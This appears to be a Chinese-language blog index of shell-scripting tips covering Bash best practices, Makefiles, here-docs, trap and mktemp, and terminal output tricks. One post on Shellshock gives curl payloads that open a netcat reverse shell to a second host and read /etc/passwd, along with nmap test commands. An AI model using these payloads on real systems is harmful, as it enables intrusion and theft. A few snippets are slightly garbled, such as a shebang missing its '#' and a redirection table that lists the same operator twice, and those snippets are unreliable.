SHELL on Ricky

進階 Shell 腳本技巧：用 Bash 自動化複雜任務

Wed, 25 Sep 2024 09:23:00 +0800

進階 Shell 腳本技巧：用 Bash 自動化複雜任務

使用內建指令

內建指令執行更快，因為不需要載入外部程序。

減少子殼層

子殼層會帶來效能成本。

# Inefficient
output=$(cat file.txt)

# Efficient
output=$(<file.txt)

使用陣列處理大量資料

處理大量資料時，陣列比多個變數更有效率，也更好管理。

# Inefficient
item1="apple"
item2="banana"
item3="cherry"

# Efficient
items=("apple" "banana" "cherry")
for item in "${items[@]}"; do
 echo "$item"
done

啟用 Noclobber

避免檔案被意外覆寫。

set -o noclobber

使用函式

函式可以封裝並重用程式碼，讓腳本更乾淨、重複更少。

高效的檔案操作

進行檔案操作時，使用更有效率的技巧以降低資源消耗。

# Inefficient
while read -r line; do
 echo "$line"
done < file.txt

# Efficient
while IFS= read -r line; do
 echo "$line"
done < file.txt

平行處理

像 xargs 和 GNU parallel 這類工具非常實用。

錯誤處理

健全的錯誤處理對建立可靠、易維護的腳本至關重要。

# Exit on Error: Using set -e ensures that your script exits immediately if any command fails, preventing cascading errors.
set -e

# Custom Error Messages: Implement custom error messages to provide more context when something goes wrong.
command1 || { echo "command1 failed"; exit 1; }

# Trap Signals: Use the `trap` command to catch and handle signals and errors gracefully.
trap 'echo "Error occurred"; cleanup; exit 1' ERR

function cleanup() {
 # Cleanup code
}

# Validate Inputs: Always validate user inputs and script arguments to prevent unexpected behavior.
if [[ -z "$1" ]]; then
 echo "Usage: $0 <argument>"
 exit 1
fi

# Logging: Implement logging to keep track of script execution and diagnose issues.
logfile="script.log"
exec > >(tee -i $logfile)
exec 2>&1

echo "Script started"

自動化複雜的系統管理工作

自動化備份
系統監控
使用者管理
自動更新
網路設定

寫 Web 也可以用 Makefile：好好管理你的環境流程

Mon, 05 Aug 2024 17:21:24 +0800

注意：Makefile 的縮排應使用 Tab，否則會出現語法問題。

Makefile 的主要本體：Target

up:
 cp .env.example .env
 docker compose up -d workspace

stop:
 docker compose stop

zsh:
 docker compose exec workspace zsh

本例有三個 Target：up、stop、zsh。Makefile 預設將第一個 Target 視為 Goal(不能是點（dot）開頭的 Target)，是專案的最主要流程，可以直接用 make 執行。以本例來說，執行 make 和 make up 是一樣的結果。
但其實剛剛複製檔案的例子不是常見的 Make 用法。Make 的強項是在自動判斷有沒有必要執行每個 Target 的流程。例如我們常常將機敏資料放在 .env 中，若 .env 已經存在，就不應該再複製 .env.example 覆寫過去了。這時候我們可以把 .env 做成一個 Target：

up: .env
 docker compose up -d workspace

.env:
 cp .env.example .env

Target 名稱預設是被視為檔名的。Make 之所以稱為 make，就是想要「製作」出指定的 Target，當符合指定條件時（如檔案不存在）才會執行 Target 的內容。
- 以本例來說，我們執行 up Target 時，如果 .env 不存在，就會先執行 .env Target 以複製出 .env，接著才會啟動 workspace container。如果執行 up Target 時 .env 已經存在，就會略過 .env Target，直接啟動 workspace container。
- 同樣地，如果我們目錄中有「up」這個檔案， up Target 就不會被執行了。這時我們可以設定 Phony Target，告訴 Make 哪些 Target 不是檔案的名稱，而是單純流程的命名。寫法如下：

.PHONY: up stop zsh

來點變數

Make 當然也支援變數（Variable），與常見的 Unix 環境變數慣例相同，我們習慣用 SCREAMING_SNAKE_CASE 表示法（全大寫和底線的表示法）。並且在使用時以 $() 包裹變數名稱。

測試伺服器是否易受 Shellshock 漏洞影響

Mon, 28 Nov 2022 15:35:30 +0800

測試伺服器是否易受 Shellshock 漏洞影響

Shellshock 漏洞

env x=' () {:;};'

利用 Shellshock 漏洞

當功能忽略使用者指定的指令，改執行 ForceCommand 的內容時，置換指令就會被執行。
使用者的原始指令會被放在 “SSH_ORIGINAL_COMMAND” 環境變數中。若使用者預設 shell 是 Bash，Bash 在啟動時會解析 “SSH_ORIGINAL_COMMAND” 的值並執行其中的指令。

Shellshock 利用指令範例

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

使用 nmap 腳本測試漏洞

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

如何刪除檔名含有不可列印字元的檔案

Mon, 14 Nov 2022 13:55:17 +0800

如何刪除檔名含有不可列印字元的檔案

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

使用 ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

使用 Inode 編號

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

可以透過 find 的 -inum 參數指定 inode 來刪除檔案。

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow 與建立 yescrypt、MD5、SHA-256、SHA-512 密碼雜湊

chage 與密碼期限

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

因此，我們可以用對應的旗標修改各欄位：

-d 或 --lastday：最後變更日期
-m 或 --mindays：變更密碼最少間隔天數
-M 或 --maxdays：密碼最大有效天數
-W 或 --warndays：到期前警告天數
-I 或 --inactive：密碼失效天數
-E 或 --expiredate：帳號過期日期

chpasswd 與密碼

echo 'user1:PASSWORD' | chpasswd --crypt-method SHA512

如何在別名指令上使用 which

Thu, 10 Nov 2022 16:24:30 +0800

如何在別名指令上使用 which

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

Shell Script 最佳實務

Thu, 03 Nov 2022 16:51:11 +0800

Shell Script 最佳實務

重點

第一行就用 #!/usr/bin/env bash。
檔案使用 .sh（或 .bash）副檔名。
在腳本開頭使用 set -o errexit。
也建議使用 set -o nounset。
1. 用 "${VARNAME-}" 取代 "$VARNAME"
使用 set -o pipefail。
使用 set -o xtrace，並檢查 $TRACE 環境變數。
1. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi
2. 使用者可以透過 TRACE=1 ./script.sh 啟用除錯模式，而不是 ./script.sh。
if / while 條件使用 [[ ]]，而不是 [ ] 或 test。
變數存取一律用雙引號包住。
在函式中使用 local 變數。
輸出錯誤訊息時請導向 stderr。
1. 例如 echo 'Something unexpected happened' >&2。
能用長選項就用長選項（例如 --silent 取代 -s）。
適合的話，腳本開頭就切換到腳本所在目錄。
1. 可用 cd "$(dirname "$0")"，多數情況可用。
使用 shellcheck 並留意其警告。

範本

#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
 set -o xtrace
fi

if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
 echo 'Usage: ./script.sh arg-one arg-two

This is an awesome bash script to make your life better.

'
 exit
fi

cd "$(dirname "$0")"

main() {
 echo do awesome stuff
}

main "$@"

命令列的藝術

Wed, 02 Nov 2022 15:04:37 +0800

命令列的藝術

在 Shell 中輸出 ASCII 藝術字

Fri, 21 Oct 2022 17:30:41 +0800

在 Shell 中輸出 ASCII 藝術字

sudo apt install sysvbanner

$ banner hello

 # # ###### # # ####
 # # # # # # #
 ###### ##### # # # #
 # # # # # # #
 # # # # # # #
 # # ###### ###### ###### ####

FIGlet: Frank, Ian, and Glenn’s Letters

sudo apt install figlet

$ figlet hello
 _ _ _
| |__ ___| | | ___
| '_ \ / _ \ | |/ _ \
| | | | __/ | | (_) |
|_| |_|\___|_|_|\___/

-f 選項可指定輸出的字型
-l、-c、-r 可將文字對齊到左、中、右

TOIlet: FIGlet With More Options

sudo apt install toilet

如何讓終端輸出覆蓋同一行

Fri, 21 Oct 2022 17:29:10 +0800

如何讓終端輸出覆蓋同一行

問題簡介

$ cat print_status.sh
!/bin/bash
echo "[INFO] Processing file: readme.txt"
sleep 2 To simulate the file processing

echo "[INFO] Processing file: veryPowerfulService.service"
sleep 2

echo "[INFO] Processing file: log.txt"
echo "DONE"


$ ./print_status.sh
[INFO] Processing file: readme.txt
[INFO] Processing file: veryPowerfulService.service
[INFO] Processing file: log.txt
DONE

「魔法碼」: `\033[0K\r`

-n 讓 echo 不輸出結尾的換行字元
-e 讓 echo 解讀反斜線逸出字元，例如 \n（換行）與 \r（回車）
\033 - 逸出序列，也就是 ESC
\033[ - 變成 “ESC ["，也就是控制序列引導字元（CSI）
\033[0k - 即 “CSI 0 K”，會清除從游標到行尾的文字
\r - 回車，將游標移回行首

$ cat print_status.sh
#!/bin/bash
echo -ne "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

echo -e "[INFO] Processing file: log.txt\033[0K\r"
echo "DONE"

!/bin/bash
printf "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

printf "[INFO] Processing file: log.txt\033[0K\r\n"
echo "DONE"

Zsh tab 補完無法使用

Fri, 10 Dec 2021 17:44:49 +0800

Zsh tab 補完無法使用

問題

雖然我之前用過 Oh-My-Zsh，但這次（設定新電腦）我決定盡量不要安裝它，讓環境更精簡。現在我想單獨取用 Oh-My-Zsh 的大小寫不敏感補完功能。翻查原始碼後，我找到下面這行： zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|=*' 'l:|=* r:|=*'

我相當確定 Oh-My-Zsh 就是用這行達成我的需求，所以我把它加進 .zshrc。重啟終端機後輸入 cd desk，再按 [tab]，結果沒有作用，並沒有補完成 cd Desktop/。

以下是完整的 .zshrc 供參考：

# Source - https://stackoverflow.com/q
# Posted by kylemart
# Retrieved 2026-01-05, License - CC BY-SA 3.0

# pure shell theme
autoload -U promptinit; promptinit
prompt pure

# completion definitions
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|=*' 'l:|=* r:|=*'
fpath=(/usr/local/share/zsh-completions $fpath)

# syntax highlighting (must be last line)
source /usr/local/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh

答案

只要 autoload 並執行 compinit 即可。

撰寫 Bash 腳本的最佳實務

Mon, 06 Dec 2021 11:11:54 +0800

#!/usr/bin/env bash
# Bash3 Boilerplate. Copyright (c) 2014, kvz.io
set -o errexit
set -o pipefail
set -o nounset
# set -o xtrace

# Set magic variables for current file & dir
__dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
__file="${__dir}/$(basename "${BASH_SOURCE[0]}")"
__base="$(basename ${__file} .sh)"
__root="$(cd "$(dirname "${__dir}")" && pwd)" # <-- change this as it depends on your app

arg1="${1:-}"

使用 shift 讀取函式參數

這樣在日後需要調整參數順序時會更容易。

# Processes a file.
# $1 - the name of the input file
# $2 - the name of the output file
process_file(){
 local -r input_file="$1"; shift
 local -r output_file="$1"; shift
}

宣告你的變數

若可攜性是重點，請用 typeset 取代 declare。

SHELL编程之常用技巧

Wed, 22 Sep 2021 13:01:11 +0800

在 bash 腳本中使用 here-doc 將資料寫入檔案

Fri, 07 May 2021 11:37:35 +0800

在 bash 腳本中使用 here-doc 將資料寫入檔案

使用 `EOF<<-` 讓 here-doc 在 shell 腳本中可自然縮排

command <<-EOF
 msg1
 msg2
 $var on line
EOF

使用 `'EOF'` 停用路徑/參數/變數展開、命令替換與算術展開

#!/bin/bash
OUT=/tmp/output.txt

echo "Starting my script..."
echo "Doing something..."
# No parameter and variable expansion, command substitution, arithmetic expansion, or pathname expansion is performed on word.
# If any part of word is quoted, the delimiter is the result of quote removal on word, and the lines in the here-document
# are not expanded. So EOF is quoted as follows
cat <<'EOF' >$OUT
 Status of backup as on $(date)
 Backing up files $HOME and /etc/
EOF

echo "Starting backup using rsync..."

Bash 腳本如何建立臨時檔案：mktemp 與 trap 教學

Mon, 30 Dec 2019 14:31:45 +0800

Bash 腳本如何建立臨時檔案：mktemp 與 trap 教學

`mktemp` 命令

產生的臨時檔案名稱是隨機的，而且權限只有使用者本人可讀寫。
為了確保臨時檔案建立成功，mktemp 後面最好使用 OR 運算子（||），在建立失敗時退出腳本。
為了確保腳本退出時刪除臨時檔案，可以使用 trap 指定退出時的清理動作。

#!/bin/bash

trap 'rm -f "$TMPFILE"' EXIT

TMPFILE=$(mktemp) || exit 1
echo "Our temp file is $TMPFILE"

mktemp 參數

-d 參數可以建立臨時目錄。
-p 參數可以指定臨時檔案所在的目錄。預設使用 $TMPDIR 環境變數指定的目錄；若未設定，使用 /tmp。
-t 參數可以指定臨時檔案的檔名模板，模板末尾必須至少包含三個連續的 X 字元作為隨機字元，建議至少六個 X。預設的檔名模板為 tmp. 加上十個隨機字元。

`trap` 命令的用法

trap 命令用來在 Bash 腳本中響應系統訊號。

最常見的系統訊號是 SIGINT（中斷），也就是按下 Ctrl + C 產生的訊號。-l 參數可以列出所有系統訊號。

$ trap -l
 1) SIGHUP 2) SIGINT 3) SIGQUIT
 4) SIGILL 5) SIGTRAP 6) SIGABRT
 ... ...

trap 的命令格式如下：

Shell 腳本學習筆記

Wed, 07 Aug 2019 15:14:08 +0800

Shell 腳本學習筆記

執行算術運算

val=`expr $a + $b`

運算符

符號	說明	示例
!	非運算	[ ! false ]
-o	或運算	[ $a -lt 20 -o $b -gt 20 ]
-a	與運算	[ $a -lt 20 -a $b -gt 20 ]
=	相等檢測	[ $a = $b ]
!=	不相等檢測	[ $a != $b ]
-z	字串長度是否為 0，為 0 則回傳 true	[ -z $a ]
-n	字串長度不為 0，不為 0 回傳 true	[ -n $a ]
str	檢測字串是否為空，不為空回傳 true	[ $a ]
-b	檢測檔案是否是區塊裝置檔	[ -b $file ]
-c	檢測檔案是否是字元裝置	..
-d	檢測檔案是否為目錄	[ -d $file ]
-f	檢測檔案是否為一般檔案	[ -f $file ]
-r	檢測檔案是否可讀	..
-w	檢測檔案是否可寫	..
-x	檢測檔案是否可執行	..
-s	檢測檔案是否為空	..
-e	檢測檔案是否存在	..

特殊變數

變數	含義
$0	目前腳本的檔名
$n	傳遞給腳本或函式的參數，n 表示第幾個參數
$#	傳遞給腳本或函式的參數個數
$*	傳遞給腳本或函式的所有參數，所有參數視為一個詞，例如 “1 2 3”
$@	傳遞給腳本或函式的所有參數，每個參數視為一個詞，用雙引號包含，例如 “1” “2” “3”
$?	上個命令的退出狀態，或函式的回傳值
$$	目前 Shell 行程 ID；對 Shell 腳本而言，就是該腳本所在的行程 ID

POSIX 程式退出狀態

狀態碼	含義
0	命令成功退出
> 0	在重導向或單詞展開期間（~、變數、命令、算術展開以及單詞切割）失敗
1 - 125	命令不成功退出，各命令自行定義特定退出值含義
126	命令找到但檔案無法執行
127	命令未找到
> 128	命令因收到信號而終止

輸入輸出重導向

命令	說明
command > file	將輸出重導向到 file
command > file	將輸出以追加的方式重導向到 file
n > file	將檔案描述符為 n 的檔案重導向到 file
n » file	將檔案描述符為 n 的檔案以追加的方式重導向到 file
n >& m	將輸出檔案 m 和 n 合併
n <& m	將輸入檔案 m 和 n 合併
« tag	將開始標記 tag 和結束標記 tag 之間的內容作為輸入

檔案包含

使用 . 或 source 包含檔案

Shell 中 `< <(command args)` 是什麼意思？

Sat, 17 Nov 2018 22:29:23 +0800

Shell 中 < <(command args) 是什麼意思？

 while IFS= read -r -d $'\0' file; do
 dosomethingwith "$file" # 對每個檔案進行處理
 done < <(find /bar -name *foo* -print0)

<() 在手冊中稱為 process substitution，它類似於管線，但會傳遞 /dev/fd/63 這種形式的參數，而不是使用 stdin。

< 會從命令列指定的檔案讀取輸入。

這兩個運算子合起來的作用與管線完全相同，因此可以改寫為：

find /bar -name *foo* -print0 | while read line; do
 ...
done